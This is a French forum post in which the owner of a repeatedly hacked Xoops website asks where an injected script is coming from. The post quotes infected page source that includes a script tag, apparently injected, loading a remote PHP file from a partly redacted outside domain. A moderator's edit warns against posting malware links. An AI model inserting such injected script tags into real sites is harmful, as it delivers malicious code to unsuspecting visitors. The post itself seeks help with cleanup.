Bonjour, j'ai un site Xoops qui est régulièrement piraté...
Un pirate injecte un code script dans la source de mes pages...
J'ai nettoyé tous mes fichiers et modifier les autorisations d'écriture pour les fichiers infectés...
J'ai un soucis, je ne parviens pas à trouver un des codes du pirate...
Ce code apparaît sur toutes mes pages, juste aprés la balise </head>
Je suis allé voir dans le fichier theme.html de mon thème mais il n'apparaît pas alors que ce code est bien présent sur toutes mes pages...
Où se trouve ce code?
Voici un extrait d'un des codes sources d'une de mes pages infectées:
<!-- RMV: added module header -->
<meta http-equiv="Content-Script-Type" content="text/javascript" />
<meta http-equiv="Content-Style-Type" content="text/css" />
<script type="text/javascript" src="http://www.modeles-lettres.com/include/xoops.js">
</script>
<script type="text/javascript">
<!--
//-->
</script>
</head><script src=http://XXXXXXXXX.ye.ro/askmwwt/luck06.php ></script>
<body>
Editer par Ghia: Lien changee par xxx. Ne publier pas des liens malware ici!!
Tous les messages (hamoudi)
Transférer
